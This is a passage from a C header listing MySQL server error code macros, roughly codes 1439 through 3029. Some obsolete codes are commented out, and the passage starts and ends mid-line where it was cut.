ER_TOO_BIG_DISPLAYWIDTH 1439 #define ER_XAER_DUPID 1440 #define ER_DATETIME_FUNCTION_OVERFLOW 1441 #define ER_CANT_UPDATE_USED_TABLE_IN_SF_OR_TRG 1442 #define ER_VIEW_PREVENT_UPDATE 1443 #define ER_PS_NO_RECURSION 1444 #define ER_SP_CANT_SET_AUTOCOMMIT 1445 //#define OBSOLETE_ER_MALFORMED_DEFINER 1446 #define ER_VIEW_FRM_NO_USER 1447 #define ER_VIEW_OTHER_USER 1448 #define ER_NO_SUCH_USER 1449 #define ER_FORBID_SCHEMA_CHANGE 1450 #define ER_ROW_IS_REFERENCED_2 1451 #define ER_NO_REFERENCED_ROW_2 1452 #define ER_SP_BAD_VAR_SHADOW 1453 #define ER_TRG_NO_DEFINER 1454 #define ER_OLD_FILE_FORMAT 1455 #define ER_SP_RECURSION_LIMIT 1456 //#define OBSOLETE_ER_SP_PROC_TABLE_CORRUPT 1457 #define ER_SP_WRONG_NAME 1458 #define ER_TABLE_NEEDS_UPGRADE 1459 #define ER_SP_NO_AGGREGATE 1460 #define ER_MAX_PREPARED_STMT_COUNT_REACHED 1461 #define ER_VIEW_RECURSIVE 1462 #define ER_NON_GROUPING_FIELD_USED 1463 #define ER_TABLE_CANT_HANDLE_SPKEYS 1464 #define ER_NO_TRIGGERS_ON_SYSTEM_SCHEMA 1465 #define ER_REMOVED_SPACES 1466 #define ER_AUTOINC_READ_FAILED 1467 #define ER_USERNAME 1468 #define ER_HOSTNAME 1469 #define ER_WRONG_STRING_LENGTH 1470 #define ER_NON_INSERTABLE_TABLE 1471 #define ER_ADMIN_WRONG_MRG_TABLE 1472 #define ER_TOO_HIGH_LEVEL_OF_NESTING_FOR_SELECT 1473 #define ER_NAME_BECOMES_EMPTY 1474 #define ER_AMBIGUOUS_FIELD_TERM 1475 #define ER_FOREIGN_SERVER_EXISTS 1476 #define ER_FOREIGN_SERVER_DOESNT_EXIST 1477 #define ER_ILLEGAL_HA_CREATE_OPTION 1478 #define ER_PARTITION_REQUIRES_VALUES_ERROR 1479 #define ER_PARTITION_WRONG_VALUES_ERROR 1480 #define ER_PARTITION_MAXVALUE_ERROR 1481 //#define OBSOLETE_ER_PARTITION_SUBPARTITION_ERROR 1482 //#define OBSOLETE_ER_PARTITION_SUBPART_MIX_ERROR 1483 #define ER_PARTITION_WRONG_NO_PART_ERROR 1484 #define ER_PARTITION_WRONG_NO_SUBPART_ERROR 1485 #define ER_WRONG_EXPR_IN_PARTITION_FUNC_ERROR 1486 //#define OBSOLETE_ER_NO_CONST_EXPR_IN_RANGE_OR_LIST_ERROR 1487 #define ER_FIELD_NOT_FOUND_PART_ERROR 1488 //#define OBSOLETE_ER_LIST_OF_FIELDS_ONLY_IN_HASH_ERROR 1489 #define ER_INCONSISTENT_PARTITION_INFO_ERROR 1490 #define ER_PARTITION_FUNC_NOT_ALLOWED_ERROR 1491 #define ER_PARTITIONS_MUST_BE_DEFINED_ERROR 1492 #define ER_RANGE_NOT_INCREASING_ERROR 1493 #define ER_INCONSISTENT_TYPE_OF_FUNCTIONS_ERROR 1494 #define ER_MULTIPLE_DEF_CONST_IN_LIST_PART_ERROR 1495 #define ER_PARTITION_ENTRY_ERROR 1496 #define ER_MIX_HANDLER_ERROR 1497 #define ER_PARTITION_NOT_DEFINED_ERROR 1498 #define ER_TOO_MANY_PARTITIONS_ERROR 1499 #define ER_SUBPARTITION_ERROR 1500 #define ER_CANT_CREATE_HANDLER_FILE 1501 #define ER_BLOB_FIELD_IN_PART_FUNC_ERROR 1502 #define ER_UNIQUE_KEY_NEED_ALL_FIELDS_IN_PF 1503 #define ER_NO_PARTS_ERROR 1504 #define ER_PARTITION_MGMT_ON_NONPARTITIONED 1505 #define ER_FOREIGN_KEY_ON_PARTITIONED 1506 #define ER_DROP_PARTITION_NON_EXISTENT 1507 #define ER_DROP_LAST_PARTITION 1508 #define ER_COALESCE_ONLY_ON_HASH_PARTITION 1509 #define ER_REORG_HASH_ONLY_ON_SAME_NO 1510 #define ER_REORG_NO_PARAM_ERROR 1511 #define ER_ONLY_ON_RANGE_LIST_PARTITION 1512 #define ER_ADD_PARTITION_SUBPART_ERROR 1513 #define ER_ADD_PARTITION_NO_NEW_PARTITION 1514 #define ER_COALESCE_PARTITION_NO_PARTITION 1515 #define ER_REORG_PARTITION_NOT_EXIST 1516 #define ER_SAME_NAME_PARTITION 1517 #define ER_NO_BINLOG_ERROR 1518 #define ER_CONSECUTIVE_REORG_PARTITIONS 1519 #define ER_REORG_OUTSIDE_RANGE 1520 #define ER_PARTITION_FUNCTION_FAILURE 1521 //#define OBSOLETE_ER_PART_STATE_ERROR 1522 #define ER_LIMITED_PART_RANGE 1523 #define ER_PLUGIN_IS_NOT_LOADED 1524 #define ER_WRONG_VALUE 1525 #define ER_NO_PARTITION_FOR_GIVEN_VALUE 1526 #define ER_FILEGROUP_OPTION_ONLY_ONCE 1527 #define ER_CREATE_FILEGROUP_FAILED 1528 #define ER_DROP_FILEGROUP_FAILED 1529 #define ER_TABLESPACE_AUTO_EXTEND_ERROR 1530 #define ER_WRONG_SIZE_NUMBER 1531 #define ER_SIZE_OVERFLOW_ERROR 1532 #define ER_ALTER_FILEGROUP_FAILED 1533 #define ER_BINLOG_ROW_LOGGING_FAILED 1534 //#define OBSOLETE_ER_BINLOG_ROW_WRONG_TABLE_DEF 1535 //#define OBSOLETE_ER_BINLOG_ROW_RBR_TO_SBR 1536 #define ER_EVENT_ALREADY_EXISTS 1537 //#define OBSOLETE_ER_EVENT_STORE_FAILED 1538 #define ER_EVENT_DOES_NOT_EXIST 1539 //#define OBSOLETE_ER_EVENT_CANT_ALTER 1540 //#define OBSOLETE_ER_EVENT_DROP_FAILED 1541 #define ER_EVENT_INTERVAL_NOT_POSITIVE_OR_TOO_BIG 1542 #define ER_EVENT_ENDS_BEFORE_STARTS 1543 #define ER_EVENT_EXEC_TIME_IN_THE_PAST 1544 //#define OBSOLETE_ER_EVENT_OPEN_TABLE_FAILED 1545 //#define OBSOLETE_ER_EVENT_NEITHER_M_EXPR_NOR_M_AT 1546 //#define OBSOLETE_ER_COL_COUNT_DOESNT_MATCH_CORRUPTED 1547 //#define OBSOLETE_ER_CANNOT_LOAD_FROM_TABLE 1548 //#define OBSOLETE_ER_EVENT_CANNOT_DELETE 1549 //#define OBSOLETE_ER_EVENT_COMPILE_ERROR 1550 #define ER_EVENT_SAME_NAME 1551 //#define OBSOLETE_ER_EVENT_DATA_TOO_LONG 1552 #define ER_DROP_INDEX_FK 1553 #define ER_WARN_DEPRECATED_SYNTAX_WITH_VER 1554 //#define OBSOLETE_ER_CANT_WRITE_LOCK_LOG_TABLE 1555 #define ER_CANT_LOCK_LOG_TABLE 1556 #define ER_FOREIGN_DUPLICATE_KEY_OLD_UNUSED 1557 #define ER_COL_COUNT_DOESNT_MATCH_PLEASE_UPDATE 1558 //#define OBSOLETE_ER_TEMP_TABLE_PREVENTS_SWITCH_OUT_OF_RBR 1559 #define ER_STORED_FUNCTION_PREVENTS_SWITCH_BINLOG_FORMAT 1560 //#define OBSOLETE_ER_NDB_CANT_SWITCH_BINLOG_FORMAT 1561 #define ER_PARTITION_NO_TEMPORARY 1562 #define ER_PARTITION_CONST_DOMAIN_ERROR 1563 #define ER_PARTITION_FUNCTION_IS_NOT_ALLOWED 1564 //#define OBSOLETE_ER_DDL_LOG_ERROR_UNUSED 1565 #define ER_NULL_IN_VALUES_LESS_THAN 1566 #define ER_WRONG_PARTITION_NAME 1567 #define ER_CANT_CHANGE_TX_CHARACTERISTICS 1568 #define ER_DUP_ENTRY_AUTOINCREMENT_CASE 1569 //#define OBSOLETE_ER_EVENT_MODIFY_QUEUE_ERROR 1570 #define ER_EVENT_SET_VAR_ERROR 1571 #define ER_PARTITION_MERGE_ERROR 1572 //#define OBSOLETE_ER_CANT_ACTIVATE_LOG 1573 //#define OBSOLETE_ER_RBR_NOT_AVAILABLE 1574 #define ER_BASE64_DECODE_ERROR 1575 #define ER_EVENT_RECURSION_FORBIDDEN 1576 //#define OBSOLETE_ER_EVENTS_DB_ERROR 1577 #define ER_ONLY_INTEGERS_ALLOWED 1578 #define ER_UNSUPORTED_LOG_ENGINE 1579 #define ER_BAD_LOG_STATEMENT 1580 #define ER_CANT_RENAME_LOG_TABLE 1581 #define ER_WRONG_PARAMCOUNT_TO_NATIVE_FCT 1582 #define ER_WRONG_PARAMETERS_TO_NATIVE_FCT 1583 #define ER_WRONG_PARAMETERS_TO_STORED_FCT 1584 #define ER_NATIVE_FCT_NAME_COLLISION 1585 #define ER_DUP_ENTRY_WITH_KEY_NAME 1586 #define ER_BINLOG_PURGE_EMFILE 1587 #define ER_EVENT_CANNOT_CREATE_IN_THE_PAST 1588 #define ER_EVENT_CANNOT_ALTER_IN_THE_PAST 1589 //#define OBSOLETE_ER_SLAVE_INCIDENT 1590 #define ER_NO_PARTITION_FOR_GIVEN_VALUE_SILENT 1591 #define ER_BINLOG_UNSAFE_STATEMENT 1592 #define ER_BINLOG_FATAL_ERROR 1593 //#define OBSOLETE_ER_SLAVE_RELAY_LOG_READ_FAILURE 1594 //#define OBSOLETE_ER_SLAVE_RELAY_LOG_WRITE_FAILURE 1595 //#define OBSOLETE_ER_SLAVE_CREATE_EVENT_FAILURE 1596 //#define OBSOLETE_ER_SLAVE_MASTER_COM_FAILURE 1597 #define ER_BINLOG_LOGGING_IMPOSSIBLE 1598 #define ER_VIEW_NO_CREATION_CTX 1599 #define ER_VIEW_INVALID_CREATION_CTX 1600 //#define OBSOLETE_ER_SR_INVALID_CREATION_CTX 1601 #define ER_TRG_CORRUPTED_FILE 1602 #define ER_TRG_NO_CREATION_CTX 1603 #define ER_TRG_INVALID_CREATION_CTX 1604 #define ER_EVENT_INVALID_CREATION_CTX 1605 #define ER_TRG_CANT_OPEN_TABLE 1606 //#define OBSOLETE_ER_CANT_CREATE_SROUTINE 1607 //#define OBSOLETE_ER_NEVER_USED 1608 #define ER_NO_FORMAT_DESCRIPTION_EVENT_BEFORE_BINLOG_STATEMENT 1609 #define ER_REPLICA_CORRUPT_EVENT 1610 //#define OBSOLETE_ER_LOAD_DATA_INVALID_COLUMN_UNUSED 1611 #define ER_LOG_PURGE_NO_FILE 1612 #define ER_XA_RBTIMEOUT 1613 #define ER_XA_RBDEADLOCK 1614 #define ER_NEED_REPREPARE 1615 //#define OBSOLETE_ER_DELAYED_NOT_SUPPORTED 1616 #define WARN_NO_CONNECTION_METADATA 1617 #define WARN_OPTION_IGNORED 1618 #define ER_PLUGIN_DELETE_BUILTIN 1619 #define WARN_PLUGIN_BUSY 1620 #define ER_VARIABLE_IS_READONLY 1621 #define ER_WARN_ENGINE_TRANSACTION_ROLLBACK 1622 //#define OBSOLETE_ER_SLAVE_HEARTBEAT_FAILURE 1623 #define ER_REPLICA_HEARTBEAT_VALUE_OUT_OF_RANGE 1624 #define ER_NDB_REPLICATION_SCHEMA_ERROR 1625 #define ER_CONFLICT_FN_PARSE_ERROR 1626 #define ER_EXCEPTIONS_WRITE_ERROR 1627 #define ER_TOO_LONG_TABLE_COMMENT 1628 #define ER_TOO_LONG_FIELD_COMMENT 1629 #define ER_FUNC_INEXISTENT_NAME_COLLISION 1630 #define ER_DATABASE_NAME 1631 #define ER_TABLE_NAME 1632 #define ER_PARTITION_NAME 1633 #define ER_SUBPARTITION_NAME 1634 #define ER_TEMPORARY_NAME 1635 #define ER_RENAMED_NAME 1636 #define ER_TOO_MANY_CONCURRENT_TRXS 1637 #define WARN_NON_ASCII_SEPARATOR_NOT_IMPLEMENTED 1638 #define ER_DEBUG_SYNC_TIMEOUT 1639 #define ER_DEBUG_SYNC_HIT_LIMIT 1640 #define ER_DUP_SIGNAL_SET 1641 #define ER_SIGNAL_WARN 1642 #define ER_SIGNAL_NOT_FOUND 1643 #define ER_SIGNAL_EXCEPTION 1644 #define ER_RESIGNAL_WITHOUT_ACTIVE_HANDLER 1645 #define ER_SIGNAL_BAD_CONDITION_TYPE 1646 #define WARN_COND_ITEM_TRUNCATED 1647 #define ER_COND_ITEM_TOO_LONG 1648 #define ER_UNKNOWN_LOCALE 1649 #define ER_REPLICA_IGNORE_SERVER_IDS 1650 //#define OBSOLETE_ER_QUERY_CACHE_DISABLED 1651 #define ER_SAME_NAME_PARTITION_FIELD 1652 #define ER_PARTITION_COLUMN_LIST_ERROR 1653 #define ER_WRONG_TYPE_COLUMN_VALUE_ERROR 1654 #define ER_TOO_MANY_PARTITION_FUNC_FIELDS_ERROR 1655 #define ER_MAXVALUE_IN_VALUES_IN 1656 #define ER_TOO_MANY_VALUES_ERROR 1657 #define ER_ROW_SINGLE_PARTITION_FIELD_ERROR 1658 #define ER_FIELD_TYPE_NOT_ALLOWED_AS_PARTITION_FIELD 1659 #define ER_PARTITION_FIELDS_TOO_LONG 1660 #define ER_BINLOG_ROW_ENGINE_AND_STMT_ENGINE 1661 #define ER_BINLOG_ROW_MODE_AND_STMT_ENGINE 1662 #define ER_BINLOG_UNSAFE_AND_STMT_ENGINE 1663 #define ER_BINLOG_ROW_INJECTION_AND_STMT_ENGINE 1664 #define ER_BINLOG_STMT_MODE_AND_ROW_ENGINE 1665 #define ER_BINLOG_ROW_INJECTION_AND_STMT_MODE 1666 #define ER_BINLOG_MULTIPLE_ENGINES_AND_SELF_LOGGING_ENGINE 1667 #define ER_BINLOG_UNSAFE_LIMIT 1668 //#define OBSOLETE_ER_UNUSED4 1669 #define ER_BINLOG_UNSAFE_SYSTEM_TABLE 1670 #define ER_BINLOG_UNSAFE_AUTOINC_COLUMNS 1671 #define ER_BINLOG_UNSAFE_UDF 1672 #define ER_BINLOG_UNSAFE_SYSTEM_VARIABLE 1673 #define ER_BINLOG_UNSAFE_SYSTEM_FUNCTION 1674 #define ER_BINLOG_UNSAFE_NONTRANS_AFTER_TRANS 1675 #define ER_MESSAGE_AND_STATEMENT 1676 //#define OBSOLETE_ER_SLAVE_CONVERSION_FAILED 1677 #define ER_REPLICA_CANT_CREATE_CONVERSION 1678 #define ER_INSIDE_TRANSACTION_PREVENTS_SWITCH_BINLOG_FORMAT 1679 #define ER_PATH_LENGTH 1680 #define ER_WARN_DEPRECATED_SYNTAX_NO_REPLACEMENT 1681 #define ER_WRONG_NATIVE_TABLE_STRUCTURE 1682 #define ER_WRONG_PERFSCHEMA_USAGE 1683 #define ER_WARN_I_S_SKIPPED_TABLE 1684 #define ER_INSIDE_TRANSACTION_PREVENTS_SWITCH_BINLOG_DIRECT 1685 #define ER_STORED_FUNCTION_PREVENTS_SWITCH_BINLOG_DIRECT 1686 #define ER_SPATIAL_MUST_HAVE_GEOM_COL 1687 #define ER_TOO_LONG_INDEX_COMMENT 1688 #define ER_LOCK_ABORTED 1689 #define ER_DATA_OUT_OF_RANGE 1690 //#define OBSOLETE_ER_WRONG_SPVAR_TYPE_IN_LIMIT 1691 #define ER_BINLOG_UNSAFE_MULTIPLE_ENGINES_AND_SELF_LOGGING_ENGINE 1692 #define ER_BINLOG_UNSAFE_MIXED_STATEMENT 1693 #define ER_INSIDE_TRANSACTION_PREVENTS_SWITCH_SQL_LOG_BIN 1694 #define ER_STORED_FUNCTION_PREVENTS_SWITCH_SQL_LOG_BIN 1695 #define ER_FAILED_READ_FROM_PAR_FILE 1696 #define ER_VALUES_IS_NOT_INT_TYPE_ERROR 1697 #define ER_ACCESS_DENIED_NO_PASSWORD_ERROR 1698 //#define OBSOLETE_ER_SET_PASSWORD_AUTH_PLUGIN 1699 //#define OBSOLETE_ER_GRANT_PLUGIN_USER_EXISTS 1700 #define ER_TRUNCATE_ILLEGAL_FK 1701 #define ER_PLUGIN_IS_PERMANENT 1702 #define ER_REPLICA_HEARTBEAT_VALUE_OUT_OF_RANGE_MIN 1703 #define ER_REPLICA_HEARTBEAT_VALUE_OUT_OF_RANGE_MAX 1704 #define ER_STMT_CACHE_FULL 1705 #define ER_MULTI_UPDATE_KEY_CONFLICT 1706 #define ER_TABLE_NEEDS_REBUILD 1707 #define WARN_OPTION_BELOW_LIMIT 1708 #define ER_INDEX_COLUMN_TOO_LONG 1709 #define ER_ERROR_IN_TRIGGER_BODY 1710 #define ER_ERROR_IN_UNKNOWN_TRIGGER_BODY 1711 #define ER_INDEX_CORRUPT 1712 #define ER_UNDO_RECORD_TOO_BIG 1713 #define ER_BINLOG_UNSAFE_INSERT_IGNORE_SELECT 1714 #define ER_BINLOG_UNSAFE_INSERT_SELECT_UPDATE 1715 #define ER_BINLOG_UNSAFE_REPLACE_SELECT 1716 #define ER_BINLOG_UNSAFE_CREATE_IGNORE_SELECT 1717 #define ER_BINLOG_UNSAFE_CREATE_REPLACE_SELECT 1718 #define ER_BINLOG_UNSAFE_UPDATE_IGNORE 1719 #define ER_PLUGIN_NO_UNINSTALL 1720 #define ER_PLUGIN_NO_INSTALL 1721 #define ER_BINLOG_UNSAFE_WRITE_AUTOINC_SELECT 1722 #define ER_BINLOG_UNSAFE_CREATE_SELECT_AUTOINC 1723 #define ER_BINLOG_UNSAFE_INSERT_TWO_KEYS 1724 #define ER_TABLE_IN_FK_CHECK 1725 #define ER_UNSUPPORTED_ENGINE 1726 #define ER_BINLOG_UNSAFE_AUTOINC_NOT_FIRST 1727 #define ER_CANNOT_LOAD_FROM_TABLE_V2 1728 #define ER_SOURCE_DELAY_VALUE_OUT_OF_RANGE 1729 #define ER_ONLY_FD_AND_RBR_EVENTS_ALLOWED_IN_BINLOG_STATEMENT 1730 #define ER_PARTITION_EXCHANGE_DIFFERENT_OPTION 1731 #define ER_PARTITION_EXCHANGE_PART_TABLE 1732 #define ER_PARTITION_EXCHANGE_TEMP_TABLE 1733 #define ER_PARTITION_INSTEAD_OF_SUBPARTITION 1734 #define ER_UNKNOWN_PARTITION 1735 #define ER_TABLES_DIFFERENT_METADATA 1736 #define ER_ROW_DOES_NOT_MATCH_PARTITION 1737 #define ER_BINLOG_CACHE_SIZE_GREATER_THAN_MAX 1738 #define ER_WARN_INDEX_NOT_APPLICABLE 1739 #define ER_PARTITION_EXCHANGE_FOREIGN_KEY 1740 //#define OBSOLETE_ER_NO_SUCH_KEY_VALUE 1741 #define ER_RPL_INFO_DATA_TOO_LONG 1742 //#define OBSOLETE_ER_NETWORK_READ_EVENT_CHECKSUM_FAILURE 1743 //#define OBSOLETE_ER_BINLOG_READ_EVENT_CHECKSUM_FAILURE 1744 #define ER_BINLOG_STMT_CACHE_SIZE_GREATER_THAN_MAX 1745 #define ER_CANT_UPDATE_TABLE_IN_CREATE_TABLE_SELECT 1746 #define ER_PARTITION_CLAUSE_ON_NONPARTITIONED 1747 #define ER_ROW_DOES_NOT_MATCH_GIVEN_PARTITION_SET 1748 //#define OBSOLETE_ER_NO_SUCH_PARTITION__UNUSED 1749 #define ER_CHANGE_RPL_INFO_REPOSITORY_FAILURE 1750 #define ER_WARNING_NOT_COMPLETE_ROLLBACK_WITH_CREATED_TEMP_TABLE 1751 #define ER_WARNING_NOT_COMPLETE_ROLLBACK_WITH_DROPPED_TEMP_TABLE 1752 #define ER_MTA_FEATURE_IS_NOT_SUPPORTED 1753 #define ER_MTA_UPDATED_DBS_GREATER_MAX 1754 #define ER_MTA_CANT_PARALLEL 1755 #define ER_MTA_INCONSISTENT_DATA 1756 #define ER_FULLTEXT_NOT_SUPPORTED_WITH_PARTITIONING 1757 #define ER_DA_INVALID_CONDITION_NUMBER 1758 #define ER_INSECURE_PLAIN_TEXT 1759 #define ER_INSECURE_CHANGE_SOURCE 1760 #define ER_FOREIGN_DUPLICATE_KEY_WITH_CHILD_INFO 1761 #define ER_FOREIGN_DUPLICATE_KEY_WITHOUT_CHILD_INFO 1762 #define ER_SQLTHREAD_WITH_SECURE_REPLICA 1763 #define ER_TABLE_HAS_NO_FT 1764 #define ER_VARIABLE_NOT_SETTABLE_IN_SF_OR_TRIGGER 1765 #define ER_VARIABLE_NOT_SETTABLE_IN_TRANSACTION 1766 //#define OBSOLETE_ER_GTID_NEXT_IS_NOT_IN_GTID_NEXT_LIST 1767 //#define OBSOLETE_ER_CANT_CHANGE_GTID_NEXT_IN_TRANSACTION 1768 #define ER_SET_STATEMENT_CANNOT_INVOKE_FUNCTION 1769 #define ER_GTID_NEXT_CANT_BE_AUTOMATIC_IF_GTID_NEXT_LIST_IS_NON_NULL 1770 //#define OBSOLETE_ER_SKIPPING_LOGGED_TRANSACTION 1771 #define ER_MALFORMED_GTID_SET_SPECIFICATION 1772 #define ER_MALFORMED_GTID_SET_ENCODING 1773 #define ER_MALFORMED_GTID_SPECIFICATION 1774 #define ER_GNO_EXHAUSTED 1775 #define ER_BAD_REPLICA_AUTO_POSITION 1776 #define ER_AUTO_POSITION_REQUIRES_GTID_MODE_NOT_OFF 1777 #define ER_CANT_DO_IMPLICIT_COMMIT_IN_TRX_WHEN_GTID_NEXT_IS_SET 1778 #define ER_GTID_MODE_ON_REQUIRES_ENFORCE_GTID_CONSISTENCY_ON 1779 //#define OBSOLETE_ER_GTID_MODE_REQUIRES_BINLOG 1780 #define ER_CANT_SET_GTID_NEXT_TO_GTID_WHEN_GTID_MODE_IS_OFF 1781 #define ER_CANT_SET_GTID_NEXT_TO_ANONYMOUS_WHEN_GTID_MODE_IS_ON 1782 #define ER_CANT_SET_GTID_NEXT_LIST_TO_NON_NULL_WHEN_GTID_MODE_IS_OFF 1783 //#define OBSOLETE_ER_FOUND_GTID_EVENT_WHEN_GTID_MODE_IS_OFF__UNUSED 1784 #define ER_GTID_UNSAFE_NON_TRANSACTIONAL_TABLE 1785 #define ER_GTID_UNSAFE_CREATE_SELECT 1786 //#define OBSOLETE_ER_GTID_UNSAFE_CREATE_DROP_TEMP_TABLE_IN_TRANSACTION 1787 #define ER_GTID_MODE_CAN_ONLY_CHANGE_ONE_STEP_AT_A_TIME 1788 #define ER_SOURCE_HAS_PURGED_REQUIRED_GTIDS 1789 #define ER_CANT_SET_GTID_NEXT_WHEN_OWNING_GTID 1790 #define ER_UNKNOWN_EXPLAIN_FORMAT 1791 #define ER_CANT_EXECUTE_IN_READ_ONLY_TRANSACTION 1792 #define ER_TOO_LONG_TABLE_PARTITION_COMMENT 1793 #define ER_REPLICA_CONFIGURATION 1794 #define ER_INNODB_FT_LIMIT 1795 #define ER_INNODB_NO_FT_TEMP_TABLE 1796 #define ER_INNODB_FT_WRONG_DOCID_COLUMN 1797 #define ER_INNODB_FT_WRONG_DOCID_INDEX 1798 #define ER_INNODB_ONLINE_LOG_TOO_BIG 1799 #define ER_UNKNOWN_ALTER_ALGORITHM 1800 #define ER_UNKNOWN_ALTER_LOCK 1801 #define ER_MTA_CHANGE_SOURCE_CANT_RUN_WITH_GAPS 1802 #define ER_MTA_RECOVERY_FAILURE 1803 #define ER_MTA_RESET_WORKERS 1804 #define ER_COL_COUNT_DOESNT_MATCH_CORRUPTED_V2 1805 #define ER_REPLICA_SILENT_RETRY_TRANSACTION 1806 #define ER_DISCARD_FK_CHECKS_RUNNING 1807 #define ER_TABLE_SCHEMA_MISMATCH 1808 #define ER_TABLE_IN_SYSTEM_TABLESPACE 1809 #define ER_IO_READ_ERROR 1810 #define ER_IO_WRITE_ERROR 1811 #define ER_TABLESPACE_MISSING 1812 #define ER_TABLESPACE_EXISTS 1813 #define ER_TABLESPACE_DISCARDED 1814 #define ER_INTERNAL_ERROR 1815 #define ER_INNODB_IMPORT_ERROR 1816 #define ER_INNODB_INDEX_CORRUPT 1817 #define ER_INVALID_YEAR_COLUMN_LENGTH 1818 #define ER_NOT_VALID_PASSWORD 1819 #define ER_MUST_CHANGE_PASSWORD 1820 #define ER_FK_NO_INDEX_CHILD 1821 #define ER_FK_NO_INDEX_PARENT 1822 #define ER_FK_FAIL_ADD_SYSTEM 1823 #define ER_FK_CANNOT_OPEN_PARENT 1824 #define ER_FK_INCORRECT_OPTION 1825 #define ER_FK_DUP_NAME 1826 #define ER_PASSWORD_FORMAT 1827 #define ER_FK_COLUMN_CANNOT_DROP 1828 #define ER_FK_COLUMN_CANNOT_DROP_CHILD 1829 #define ER_FK_COLUMN_NOT_NULL 1830 #define ER_DUP_INDEX 1831 #define ER_FK_COLUMN_CANNOT_CHANGE 1832 #define ER_FK_COLUMN_CANNOT_CHANGE_CHILD 1833 //#define OBSOLETE_ER_UNUSED5 1834 #define ER_MALFORMED_PACKET 1835 #define ER_READ_ONLY_MODE 1836 #define ER_GTID_NEXT_TYPE_UNDEFINED_GTID 1837 #define ER_VARIABLE_NOT_SETTABLE_IN_SP 1838 //#define OBSOLETE_ER_CANT_SET_GTID_PURGED_WHEN_GTID_MODE_IS_OFF 1839 #define ER_CANT_SET_GTID_PURGED_WHEN_GTID_EXECUTED_IS_NOT_EMPTY 1840 #define ER_CANT_SET_GTID_PURGED_WHEN_OWNED_GTIDS_IS_NOT_EMPTY 1841 #define ER_GTID_PURGED_WAS_CHANGED 1842 #define ER_GTID_EXECUTED_WAS_CHANGED 1843 #define ER_BINLOG_STMT_MODE_AND_NO_REPL_TABLES 1844 #define ER_ALTER_OPERATION_NOT_SUPPORTED 1845 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON 1846 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_COPY 1847 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_PARTITION 1848 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_FK_RENAME 1849 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_COLUMN_TYPE 1850 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_FK_CHECK 1851 //#define OBSOLETE_ER_UNUSED6 1852 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_NOPK 1853 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_AUTOINC 1854 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_HIDDEN_FTS 1855 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_CHANGE_FTS 1856 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_FTS 1857 //#define OBSOLETE_ER_SQL_REPLICA_SKIP_COUNTER_NOT_SETTABLE_IN_GTID_MODE 1858 #define ER_DUP_UNKNOWN_IN_INDEX 1859 #define ER_IDENT_CAUSES_TOO_LONG_PATH 1860 #define ER_ALTER_OPERATION_NOT_SUPPORTED_REASON_NOT_NULL 1861 #define ER_MUST_CHANGE_PASSWORD_LOGIN 1862 #define ER_ROW_IN_WRONG_PARTITION 1863 #define ER_MTA_EVENT_BIGGER_PENDING_JOBS_SIZE_MAX 1864 //#define OBSOLETE_ER_INNODB_NO_FT_USES_PARSER 1865 #define ER_BINLOG_LOGICAL_CORRUPTION 1866 #define ER_WARN_PURGE_LOG_IN_USE 1867 #define ER_WARN_PURGE_LOG_IS_ACTIVE 1868 #define ER_AUTO_INCREMENT_CONFLICT 1869 #define WARN_ON_BLOCKHOLE_IN_RBR 1870 #define ER_REPLICA_CM_INIT_REPOSITORY 1871 #define ER_REPLICA_AM_INIT_REPOSITORY 1872 #define ER_ACCESS_DENIED_CHANGE_USER_ERROR 1873 #define ER_INNODB_READ_ONLY 1874 #define ER_STOP_REPLICA_SQL_THREAD_TIMEOUT 1875 #define ER_STOP_REPLICA_IO_THREAD_TIMEOUT 1876 #define ER_TABLE_CORRUPT 1877 #define ER_TEMP_FILE_WRITE_FAILURE 1878 #define ER_INNODB_FT_AUX_NOT_HEX_ID 1879 #define ER_OLD_TEMPORALS_UPGRADED 1880 #define ER_INNODB_FORCED_RECOVERY 1881 #define ER_AES_INVALID_IV 1882 #define ER_PLUGIN_CANNOT_BE_UNINSTALLED 1883 #define ER_GTID_UNSAFE_BINLOG_SPLITTABLE_STATEMENT_AND_ASSIGNED_GTID 1884 #define ER_REPLICA_HAS_MORE_GTIDS_THAN_SOURCE 1885 #define ER_MISSING_KEY 1886 #define WARN_NAMED_PIPE_ACCESS_EVERYONE 1887 #define ER_FILE_CORRUPT 3000 #define ER_ERROR_ON_SOURCE 3001 //#define OBSOLETE_ER_INCONSISTENT_ERROR 3002 #define ER_STORAGE_ENGINE_NOT_LOADED 3003 #define ER_GET_STACKED_DA_WITHOUT_ACTIVE_HANDLER 3004 #define ER_WARN_LEGACY_SYNTAX_CONVERTED 3005 #define ER_BINLOG_UNSAFE_FULLTEXT_PLUGIN 3006 #define ER_CANNOT_DISCARD_TEMPORARY_TABLE 3007 #define ER_FK_DEPTH_EXCEEDED 3008 #define ER_COL_COUNT_DOESNT_MATCH_PLEASE_UPDATE_V2 3009 #define ER_WARN_TRIGGER_DOESNT_HAVE_CREATED 3010 #define ER_REFERENCED_TRG_DOES_NOT_EXIST 3011 #define ER_EXPLAIN_NOT_SUPPORTED 3012 #define ER_INVALID_FIELD_SIZE 3013 #define ER_MISSING_HA_CREATE_OPTION 3014 #define ER_ENGINE_OUT_OF_MEMORY 3015 #define ER_PASSWORD_EXPIRE_ANONYMOUS_USER 3016 #define ER_REPLICA_SQL_THREAD_MUST_STOP 3017 #define ER_NO_FT_MATERIALIZED_SUBQUERY 3018 #define ER_INNODB_UNDO_LOG_FULL 3019 #define ER_INVALID_ARGUMENT_FOR_LOGARITHM 3020 #define ER_REPLICA_CHANNEL_IO_THREAD_MUST_STOP 3021 #define ER_WARN_OPEN_TEMP_TABLES_MUST_BE_ZERO 3022 #define ER_WARN_ONLY_SOURCE_LOG_FILE_NO_POS 3023 #define ER_QUERY_TIMEOUT 3024 #define ER_NON_RO_SELECT_DISABLE_TIMER 3025 #define ER_DUP_LIST_ENTRY 3026 //#define OBSOLETE_ER_SQL_MODE_NO_EFFECT 3027 #define ER_AGGREGATE_ORDER_FOR_UNION 3028 #define ER_AGGREGATE_ORDER_NON_AGG_QUERY 3029 #define 